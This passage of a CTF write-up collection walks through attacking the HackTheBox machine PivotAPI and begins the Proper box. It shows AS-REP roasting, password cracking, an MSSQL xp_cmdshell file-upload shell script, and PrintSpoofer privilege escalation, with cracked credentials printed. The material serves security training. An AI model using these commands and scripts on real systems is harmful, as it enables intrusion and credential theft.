139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
1433/tcp  open  ms-sql-s          Microsoft SQL Server 2019 15.00.2000
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
3269/tcp  open  globalcatLDAPssl?
9389/tcp  open  mc-nmf            .NET Message Framing
49667/tcp open  msrpc             Microsoft Windows RPC
49669/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
49670/tcp open  msrpc             Microsoft Windows RPC
49673/tcp open  unknown
49699/tcp open  msrpc             Microsoft Windows RPC
49824/tcp open  msrpc             Microsoft Windows RPC
Service Info: Host: PIVOTAPI; OS: Windows; CPE: cpe:/o:microsoft:windows
```

There is bunch of ports open.

Let's first start with ftp

#### FTP

There is a lot of pdf files.

``` bash
ftp -pi 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:dedsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (10,10,10,240,202,100).
125 Data connection already open; Transfer starting.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt  
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> mget *
```

It's said that change the download mode into binary so no files will be corrupted.

Let's download all files again in binary mode.

``` bash
ftp -pi 10.10.10.240
Connected to 10.10.10.240.
220 Microsoft FTP Service
Name (10.10.10.240:dedsec): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
227 Entering Passive Mode (10,10,10,240,202,149).
150 Opening ASCII mode data connection.
02-19-21  03:06PM               103106 10.1.1.414.6453.pdf
02-19-21  03:06PM               656029 28475-linux-stack-based-buffer-overflows.pdf
02-19-21  12:55PM              1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
02-19-21  03:06PM              1018160 ExploitingSoftware-Ch07.pdf
08-08-20  01:18PM               219091 notes1.pdf
08-08-20  01:34PM               279445 notes2.pdf
08-08-20  01:41PM                  105 README.txt
02-19-21  03:06PM              1301120 RHUL-MA-2009-06.pdf
226 Transfer complete.
ftp> binary
200 Type set to I.
ftp> mget *
```

After analizing all the files i found nothing so let's check the metadata of one of the file with exiftool.

We found the username. let's collect all usernames for every files.

``` bash
exiftool * | egrep -i "Creator|Author" | awk '{print $3}'

Microsoft
Unknown
saif
Microsoft®
byron
:
byron
cairo
Kaorz
:
alex
alex
```

Let's save all these username into a file called user.lst.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# cat user.lst 
Microsoft
Unknown
saif
Microsoft®
byron
byron
cairo
Kaorz
alex
alex
```

Now we have the users list let's check the Kerberos preauthentication check.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# python3 GetNPUsers.py -dc-ip 10.10.10.240 -no-pass -usersfile user.lst LicorDeBellota/
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$Kaorz@LICORDEBELLOTA:eb29c5c46df33d07e2d227251bb18905$f3ec59e49c5a21b098153bf67756548491a8333d8680c27bd6f589e8801ec0c9c429e33646c9e2a4cf1bd716c67a2df12d531984a0cf6bf209c22eb84207fec76fe5dbe2358facd946d2db12a7baabf954ac8b431a11e5eee8edf410cd35bf7f47ca789af7c4baf91712f079143e148a1e30d873a2011df279d63ba9b53e331cc2c61c2a3b2d3e6ec036585b47808e3e557958ef6c2eb888037f0ddcef34a7346fc367f0b5dce1a890d09fbc584c1f84e75457a7f5a10b682e7443598a60d42b8495d231135a35a2438f58771d9c9c445a3e5793ebbdd722e221bd8e6eb59e341b34f34edf24c89a81e3d2735a9a54f91de2c87f
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
```

We got the hash of Kaorz user let's try to crack this hash with john.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# john hash -w=/usr/share/wordlists/rockyou.txt                                                                                                 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Roper4155        ($krb5asrep$23$Kaorz@LICORDEBELLOTA)
1g 0:00:00:12 DONE (2021-05-15 04:41) 0.08264g/s 881824p/s 881824c/s 881824C/s Rosesmlg1..Ronald8
Use the "--show" option to display all of the cracked passwords reliably
Session completed
```

We have the username and a password Roper4155 let's check the smb share if we have access of any shares.

I use crackmapexec for that.

``` bash
crackmapexec smb 10.10.10.240 -u Kaorz -p Roper4155 --shares

SMB         10.10.10.240    445    PIVOTAPI         [*] Windows 10.0 Build 17763 x64 (name:PIVOTAPI) (domain:LicorDeBellota.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.240    445    PIVOTAPI         [+] LicorDeBellota.htb\Kaorz:Roper4155 
SMB         10.10.10.240    445    PIVOTAPI         [+] Enumerated shares
SMB         10.10.10.240    445    PIVOTAPI         Share           Permissions     Remark
SMB         10.10.10.240    445    PIVOTAPI         -----           -----------     ------
SMB         10.10.10.240    445    PIVOTAPI         ADMIN$                          Admin remota
SMB         10.10.10.240    445    PIVOTAPI         C$                              Recurso predeterminado
SMB         10.10.10.240    445    PIVOTAPI         IPC$            READ            IPC remota
SMB         10.10.10.240    445    PIVOTAPI         NETLOGON        READ            Recurso compartido del servidor de inicio de sesión 
SMB         10.10.10.240    445    PIVOTAPI         SYSVOL          READ            Recurso compartido del servidor de inicio de sesión
```

We have read access of three shares. let's check the NETLOGON first.

``` bash
smbclient //10.10.10.240/NETLOGON -U kaorz%Roper4155

Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Aug  8 05:42:28 2020
  ..                                  D        0  Sat Aug  8 05:42:28 2020
  HelpDesk                            D        0  Sun Aug  9 10:40:36 2020

                7779839 blocks of size 4096. 3497512 blocks available
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
  .                                   D        0  Sun Aug  9 10:40:36 2020
  ..                                  D        0  Sun Aug  9 10:40:36 2020
  Restart-OracleService.exe           A  1854976  Fri Feb 19 04:52:01 2021
  Server MSSQL.msg                    A    24576  Sun Aug  9 06:04:14 2020
  WinRM Service.msg                   A    26112  Sun Aug  9 06:42:20 2020

                7779839 blocks of size 4096. 3497512 blocks available
```

We have three files in the HelpDesk Directory let's get these all files into our system.

``` bash
smb: \HelpDesk\> get Restart-OracleService.exe
getting file \HelpDesk\Restart-OracleService.exe of size 1854976 as Restart-OracleService.exe (338.5 KiloBytes/sec) (average 338.5 KiloBytes/sec)
smb: \HelpDesk\> get "Server MSSQL.msg"
getting file \HelpDesk\Server MSSQL.msg of size 24576 as Server MSSQL.msg (67.6 KiloBytes/sec) (average 321.7 KiloBytes/sec)
smb: \HelpDesk\> get "WinRM Service.msg"
getting file \HelpDesk\WinRM Service.msg of size 26112 as WinRM Service.msg (71.8 KiloBytes/sec) (average 307.0 KiloBytes/sec)
smb: \HelpDesk\> ^C
┌───[us-free-1]─[10.10.14.5]─[root@parrot]─[~/Desktop/HTB/pivotapi/HelpDesk]
└──╼ [★]$ ls
 Restart-OracleService.exe  'Server MSSQL.msg'  'WinRM Service.msg'
```

Now for extracting the text inside .msg file we need msgconvert let's first install that.

``` bash
apt-get install libemail-outlook-message-perl libemail-sender-perl
```

Now let's extract the text inside .msg file.

``` bash
msgconvert Server\ MSSQL.msg
```

 - Server MSSQL.msg

``` bash
Date: Sun, 09 Aug 2020 11:04:14 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16208820270.2cBBDf6.24456
Content-Transfer-Encoding: 7bit
Subject: Server MSSQL
To: cybervaca@licordebellota.htb <cybervaca@licordebellota.htb>

Good afternoon,
Due to the problems caused by the Oracle database installed in 2010 in Windows, it has been decided to migrate to MSSQL at the beginning of 2020.
Remember that there were problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to log in to Oracle and restart the service.
 
Any doubt do not hesitate to contact us.
Greetings,
The HelpDesk Team
```

 - WinRM Service.msg

``` bash
Date: Sun, 09 Aug 2020 11:42:20 +0000
MIME-Version: 1.0
Content-Type: multipart/alternative; boundary=16208825850.f7f5B6.27939
Content-Transfer-Encoding: 7bit
Subject: WinRM Service
To: helpdesk@licordebellota.htb <helpdesk@licordebellota.htb>

Good afternoon. 
After the last pentest, we have decided to stop externally displaying WinRM's service. Several of our employees are the creators of Evil-WinRM so we do not want to expose this service... We have created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output (So that no shells of the type icmp are used.)
Greetings,

The HelpDesk Team
```

Now afer reading the both messages i known that Due to some problems by Oracle database installed in 2010 they migrate to MSSQL at the beginning of 2020.

And they also said that there was a problems at the time of restarting the Oracle service and for this reason a program called "Reset-Service.exe" was created to log in to Oracle and restart the service.

It's mean that the "Reset-Service.exe" has creads for Oracle database becuase it's need to login into oracle database and without creads it can't be possible.

And the other message tell that they stop externally displaying WinRM's service and they also created a rule to block the exposure of the service and we have also blocked the TCP, UDP and even ICMP output So that no shells of the type icmp are used.

Now let's go to my Commando-VM and analize the binary.

I already transfer the binary into my Commando-VM.

First let's monitor the binary with procmon so we known that what's the binary doing.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1968.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1969.jpg)

If you analize the output you find that the binary create a file inside "AppData\Local\Temp\" directory with the random name everytime and then it's delete the bat file.

So for getting that random bat file we need to stop the binary before it's delete that bat file So for that i use CMDWatcher.

 - [CMD Watcher](https://www.kahusecurity.com/tools.html)

Select the Interactive mode and then start the monitoring and then execute the binary.

Click resume the process.

You got the bat file location go to that location in your file manager.

Copy both file into your desktop in any folder.

I copy both files inside my desktop/files folder and then resume the process.

Now let's analize the bat file.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1970.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1971.jpg)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1972.jpg)

#### Step 1

Remove all these if statement.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1973.jpg)

And add "goto correcto".

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1974.jpg)

#### Step 2

Now in bottom of the file remove these del statements.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1975.jpg)

After removing the del statements they look like this.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1976.jpg)

Now we good to go open a cmd and run that bat file to create the restart-service.exe.

``` bash
COMMANDO Fri 05/14/2021  7:41:07.78
C:\Users\DEDSEC\Desktop\files>dir
 Volume in drive C has no label.
 Volume Serial Number is 7EAC-CBDE

 Directory of C:\Users\DEDSEC\Desktop\files

05/14/2021  07:25 AM    <DIR>          .
05/14/2021  07:25 AM    <DIR>          ..
05/14/2021  07:39 AM         1,729,970 542B.bat
05/14/2021  07:22 AM                 0 542C.tmp
               2 File(s)      1,729,970 bytes
               2 Dir(s)  113,196,924,928 bytes free

COMMANDO Fri 05/14/2021  7:41:09.00
C:\Users\DEDSEC\Desktop\files>.\542B.bat
COMMANDO Fri 05/14/2021  7:41:59.20
C:\Users\DEDSEC\Desktop\files>
```

Now let's check if restart-service.exe is created or not.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1977.jpg)

And we got the restart-service.exe. I use API Monitor for analize this binary.

 - [API Monitor](http://www.rohitab.com/apimonitor#Download)

Check all API filters on the left side.

Now click on monitor new process and select the binary called restart-service.exe.

Now we capture all the proccess and calls so let's analize this.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1978.jpg)

Found the username and password.

``` bash
#Time of Day Thread Module API Return Value Error Duration
CreateProcessWithLogonW ( "svc_oracle", "", "#oracle_s3rV1c3!2010", 0, NULL, ""c:\windows\system32\cmd.exe" /c sc.exe stop OracleServiceXE; sc.exe start OracleServiceXE", 0, NULL, "C:\ProgramData", 0x000000000234e120, 0x0000000003f61c68 )  FALSE   1326 = The user name or password is incorrect.
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1979.jpg)

Now if you see nmap result there is a mssql port open let's try to connect with that.

``` bash
mssqlclient.py -port 1433 svc_oracle@10.10.10.240
Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[-] ERROR(PIVOTAPI\SQLEXPRESS): Line 1: Login failed for user 'svc_oracle'.
```

Login failed! it's mean the username and password is not correct.

After that i read the Server MSSQL.msg again and i found that now they using mssql not oracle so we need to change the password from #oracle_s3rV1c3!2010 to #mssql_s3rV1c3!2020 because they migrate to MSSQL at the beginning of 2020.

And for the username i search on google for default mssql username and i found that.

So now the creads are sa:#mssql_s3rV1c3!2020 so now let's try to login with these creads.

``` bash
mssqlclient.py -port 1433 sa@10.10.10.240

Impacket v0.9.23.dev1+20210416.153120.efbe78bb - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: Español
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió el contexto de la base de datos a 'master'.
[*] INFO(PIVOTAPI\SQLEXPRESS): Line 1: Se cambió la configuración de idioma a Español.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd
     
SQL>
```

If we type help we can see that we can execute the xp_cmdshell {cmd} command let's try that.

``` bash
SQL> help

     lcd {path}                 - changes the current local directory to {path}
     exit                       - terminates the server process (and this session)
     enable_xp_cmdshell         - you know what it means
     disable_xp_cmdshell        - you know what it means
     xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
     sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
     ! {cmd}                    - executes a local shell cmd
     
SQL> xp_cmdshell whoami
output                                                                             

--------------------------------------------------------------------------------   

nt service\mssql$sqlexpress                                                        

NULL                                                                               

SQL> 
```

We can execute command let's check the privileges we have.

``` bash
SQL> xp_cmdshell whoami /priv
output                                                                             

--------------------------------------------------------------------------------   

NULL                                                                               

INFORMACIÓN DE PRIVILEGIOS                                                         

--------------------------                                                         

NULL                                                                               

Nombre de privilegio          Descripción                                       Estado          

============================= ================================================= =============   

SeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso Deshabilitado   

SeIncreaseQuotaPrivilege      Ajustar las cuotas de la memoria para un proceso  Deshabilitado   

SeMachineAccountPrivilege     Agregar estaciones de trabajo al dominio          Deshabilitado   

SeChangeNotifyPrivilege       Omitir comprobación de recorrido                  Habilitada      

SeManageVolumePrivilege       Realizar tareas de mantenimiento del volumen      Habilitada      

SeImpersonatePrivilege        Suplantar a un cliente tras la autenticación      Habilitada      

SeCreateGlobalPrivilege       Crear objetos globales                            Habilitada      

SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso      Deshabilitado   

NULL                                                                               

SQL> 
```

We have SeImpersonatePrivilege enabled let's try to privilege-escalation with this.

 - [PrintSpoofer](https://github.com/dievus/printspoofer)

But the problem is we can't transfer this file directly because firewall blocks all connections.

So i search on google for script that will login us in mssql and we can also upload files inside that and i found a python script.

 - [mssql_shell.py](https://github.com/Alamot/code-snippets/blob/master/mssql/mssql_shell.py)

I do a little edit the script because when we use UPLOAD command it's break.

 - mssql_shell.py

``` bash
#!/usr/bin/env python3
from __future__ import print_function
# Author: lUc1f3r11
# Use pymssql >= 1.0.3 (otherwise it doesn't work correctly)
# To upload a file, type: UPLOAD local_path remote_path
# e.g. UPLOAD myfile.txt C:\temp\myfile.txt
# If you omit the remote_path it uploads the file on the current working folder.
# Be aware that pymssql has some serious memory leak issues when the connection fails (see: https://github.com/pymssql/pymssql/issues/512).
import pymssql
from pymssql import _mssql
from pymssql import _pymssql
import base64
import shlex
import sys
import tqdm
import hashlib
from io import open
try: input = raw_input
except NameError: pass
from base64 import encodebytes

MSSQL_SERVER="10.10.10.240"
MSSQL_USERNAME = "sa"
MSSQL_PASSWORD = "#mssql_s3rV1c3!2020"
BUFFER_SIZE = 5*1024
TIMEOUT = 30


def process_result(mssql):
    username = ""
    computername = ""
    cwd = ""
    rows = list(mssql)
    for row in rows[:-3]:
        columns = list(row)
        if row[columns[-1]]:
            print(row[columns[-1]])
        else:
            print()
    if len(rows) >= 3:
        (username, computername) = rows[-3][list(rows[-3])[-1]].split('|')
        cwd = rows[-2][list(rows[-3])[-1]]
    return (username.rstrip(), computername.rstrip(), cwd.rstrip())


def upload(mssql, stored_cwd, local_path, remote_path):
    print("Uploading "+local_path+" to "+remote_path)
    cmd = 'type nul > "' + remote_path + '.b64"'
    mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")

    with open(local_path, 'rb') as f:
        data = f.read()
        md5sum = hashlib.md5(data).hexdigest()
        b64enc_data = b"".join(base64.b64encode(data).split()).decode()

    print("Data length (b64-encoded): "+str(len(b64enc_data)/1024)+"KB")
    for i in tqdm.tqdm(range(0, len(b64enc_data), BUFFER_SIZE), unit_scale=BUFFER_SIZE/1024, unit="KB"):
        cmd = 'echo '+b64enc_data[i:i+BUFFER_SIZE]+' >> "' + remote_path + '.b64"'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        #print("Remaining: "+str(len(b64enc_data)-i))

    cmd = 'certutil -decode "' + remote_path + '.b64" "' + remote_path + '"'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    process_result(mssql)
    cmd = 'certutil -hashfile "' + remote_path + '" MD5'
    mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
    if md5sum in [row[list(row)[-1]].strip() for row in mssql if row[list(row)[-1]]]:
        print("MD5 hashes match: " + md5sum)
    else:
        print("ERROR! MD5 hashes do NOT match!")


def shell():
    mssql = None
    stored_cwd = None
    try:
        mssql = _mssql.connect(server=MSSQL_SERVER, user=MSSQL_USERNAME, password=MSSQL_PASSWORD)
        print("Successful login: "+MSSQL_USERNAME+"@"+MSSQL_SERVER)

        print("Trying to enable xp_cmdshell ...")
        mssql.execute_query("EXEC sp_configure 'show advanced options',1;RECONFIGURE;exec SP_CONFIGURE 'xp_cmdshell',1;RECONFIGURE")

        cmd = 'echo %username%^|%COMPUTERNAME% & cd'
        mssql.execute_query("EXEC xp_cmdshell '"+cmd+"'")
        (username, computername, cwd) = process_result(mssql)
        stored_cwd = cwd
        
        while True:
            cmd = input("CMD "+username+"@"+computername+" "+cwd+"> ").rstrip("\n").replace("'", "''")
            if not cmd:
                cmd = "call" # Dummy cmd command
            if cmd.lower()[0:4] == "exit":
                mssql.close()
                return
            elif cmd[0:6] == "UPLOAD":
                upload_cmd = shlex.split(cmd, posix=False)
                if len(upload_cmd) < 3:
                    upload(mssql, stored_cwd, upload_cmd[1], stored_cwd+"\\"+upload_cmd[1])
                else:
                    upload(mssql, stored_cwd, upload_cmd[1], upload_cmd[2])
                cmd = "echo *** UPLOAD PROCEDURE FINISHED ***"
            mssql.execute_query("EXEC xp_cmdshell 'cd "+stored_cwd+" & "+cmd+" & echo %username%^|%COMPUTERNAME% & cd'")
            (username, computername, cwd) = process_result(mssql)
            stored_cwd = cwd

    except _mssql.MssqlDatabaseException as e:
        if  e.severity <= 16:
            print("MSSQL failed: "+str(e))
        else:
            raise

    finally:
        if mssql:
            mssql.close()


shell()
sys.exit()
```

Now let's run the script.

We got the shell now let's try to UPLOAD the file inside TEMP directory.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/pivotapi]
└─# python3 shell.py 
Successful login: sa@10.10.10.240
Trying to enable xp_cmdshell ...
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> whoami
nt service\mssql$sqlexpress
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\Windows\system32> cd /
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> dir
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: B2F2-7E0A

 Directorio de C:\

08/08/2020  19:23    <DIR>          Developers
08/08/2020  12:53    <DIR>          inetpub
08/08/2020  22:48    <DIR>          PerfLogs
19/02/2021  14:42    <DIR>          Program Files
09/08/2020  17:06    <DIR>          Program Files (x86)
08/08/2020  19:46    <DIR>          Users
29/04/2021  17:31    <DIR>          Windows
               0 archivos              0 bytes
               7 dirs  14.177.931.264 bytes libres
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> mkdir temp
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> UPLOAD PrintSpoofer64.exe C:\temp\printspoofer.exe
Uploading PrintSpoofer64.exe to C:\temp\printspoofer.exe
Data length (b64-encoded): 35.3359375KB
100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████| 40.0/40.0 [00:05<00:00,  6.84KB/s]
Longitud de entrada = 36208
Longitud de salida = 27136
CertUtil: -decode comando completado correctamente.
MD5 hashes match: 108da75de148145b8f056ec0827f1665
*** UPLOAD PROCEDURE FINISHED *** 
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\> cd temp
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> dir
 El volumen de la unidad C no tiene etiqueta.
 El número de serie del volumen es: B2F2-7E0A

 Directorio de C:\temp

15/05/2021  11:25    <DIR>          .
15/05/2021  11:25    <DIR>          ..
15/05/2021  11:25            27.136 printspoofer.exe
15/05/2021  11:25            36.208 printspoofer.exe.b64
               2 archivos         63.344 bytes
               2 dirs  14.177.865.728 bytes libres
```

Now let's run the binary and get our user.txt and root.txt.

``` bash
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> printspoofer.exe -i -c "powershell -c type C:\Users\3v4Si0N\Desktop\user.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
4855ef51169f74e4d5d79befd933d719
CMD MSSQL$SQLEXPRESS@PIVOTAPI C:\temp> printspoofer.exe -i -c "powershell -c type C:\users\cybervaca\Desktop\root.txt"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
b32c5e3ee389ee920f6aa1efa025048d
```

and we are all done!

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1980.jpg)

#### Summary of knowledge

 - ftp anonymous access
 - exiftool get usernames
 - users list check the Kerberos preauthentication check
 - crack Kerberos hash with john
 - crackmapexec enumerate smb shares
 - use msgconvert extract the text inside .msg file
 - monitor the binary with procmon
 - CMDWatcher usage
 - modify .bat file to get the restart-service.exe
 - API Monitor capture the proccess to get usernames and passwords
 - privilege escalation with PrintSpoofer
 - modify mssql_shell.py to get file upload

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end pivotapi -->

</details>

<a id="case-proper"></a>

## 完整性参数与目录 Junction

带盐查询参数、SMB 包含和竞态构成应用链，Windows 客户端与服务端逆向进一步定位 CLEAN/RESTORE 目录操作。

<p class="kb-provenance">来源 proper · 原记录 2021-05-08 · 31 个代码块 · 20 处图片引用</p>

<details class="kb-evidence" id="record-proper">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start proper -->

#### introduce

OS: Windows
Difficulty: Hard
Points:	40
Release:	13 Mar 2021
IP:	10.10.10.231

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1948.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# nmap -sV -v -p- -Pn --min-rate=10000 10.10.10.231
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

#### Directory/File Enumeration

Let’s see what wfuzz and SecLists has to offer.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1949.jpg)

#### Licenses

I wonder what this is about?

In any case, let’s keep this in view first while we check out other
information.

#### usernames

I thought I saw some very interesting HTML IDs when I was looking at the
HTML source code.

``` bash
<div role="tabpanel" class="tab-pane fade in active" id="dustin">
```

Doesn’t that look like a username? Wait, there’s more…

``` bash
<div role="tabpanel" class="tab-pane fade" id="daksh">

<div role="tabpanel" class="tab-pane fade" id="anna">

<div role="tabpanel" class="tab-pane fade" id="wafer">
```

And this…

``` bash
<script type="text/javascript">
$(document).ready(function(){
    'use strict';
    jQuery('#headerwrap').backstretch([ "assets/img/bg/bg1.jpg", "assets/img/bg/bg3.jpg" ], {duration: 8000, fade: 500});
    $( "#product-content" ).load("/products-ajax.php?order=id+desc&h=a1b30d31d344a5a4e41e8496ccbdd26b",function() {});
});
</script>
```

#### Salt

Interestingly, if either parameter (order or h) from the above relative URL is
missing, I get the following, what looks like an error message.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb1950.jpg)

From the message, a salt of some kind is exposed. I wonder where does the
salt fit in?

#### John the Ripper

Could the MD5 hash a1b30d31d344a5a4e41e8496ccbdd26b be the MD5
digest of the salt combined in some way with the value in the order
parameter? To confirm I came up with the following wordlist, in
combination with John the Ripper.

``` bash
id+desc
id%20desc
id desc
```

These are the dynamic formats in JtR involving MD5.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/proper]
└─# john --list=subformats | grep md5
Format = dynamic_0   type = dynamic_0: md5($p) (raw-md5)
Format = dynamic_1   type = dynamic_1: md5($p.$s) (joomla)
Format = dynamic_2   type = dynamic_2: md5(md5($p)) (e107)
Format = dynamic_3   type = dynamic_3: md5(md5(md5($p)))
Format = dynamic_4   type = dynamic_4: md5($s.$p) (OSC)
Format = dynamic_5   type = dynamic_5: md5($s.$p.$s)
Format = dynamic_6   type = dynamic_6: md5(md5($p).$s)
Format = dynamic_8   type = dynamic_8: md5(md5($s).$p)
Format = dynamic_9   type = dynamic_9: md5($s.md5($p))
Format = dynamic_10  type = dynamic_10: md5($s.md5($s.$p))
Format = dynamic_11  type = dynamic_11: md5($s.md5($p.$s))
Format = dynamic_12  type = dynamic_12: md5(md5($s).md5($p)) (IPB)
Format = dynamic_13  type = dynamic_13: md5(md5($p).md5($s))
Format = dynamic_14  type = dynamic_14: md5($s.md5($p).$s)
Format = dynamic_15  type = dynamic_15: md5($u.md5($p).$s)
Format = dynamic_16  type = dynamic_16: md5(md5(md5($p).$s).$s2)
Format = dynamic_18  type = dynamic_18: md5($s.Y.$p.0xF7.$s) (Post.Office MD5)
Format = dynamic_19  type = dynamic_19: md5($p) (Cisco PIX)
Format = dynamic_20  type = dynamic_20: md5($p.$s) (Cisco ASA)
Format = dynamic_22  type = dynamic_22: md5(sha1($p))
Format = dynamic_23  type = dynamic_23: sha1(md5($p))
Format = dynamic_29  type = dynamic_29: md5(utf16($p))
Format = dynamic_34  type = dynamic_34: md5(md4($p))
Format = dynamic_39  type = dynamic_39: md5($s.pad16($p)) (net-md5)
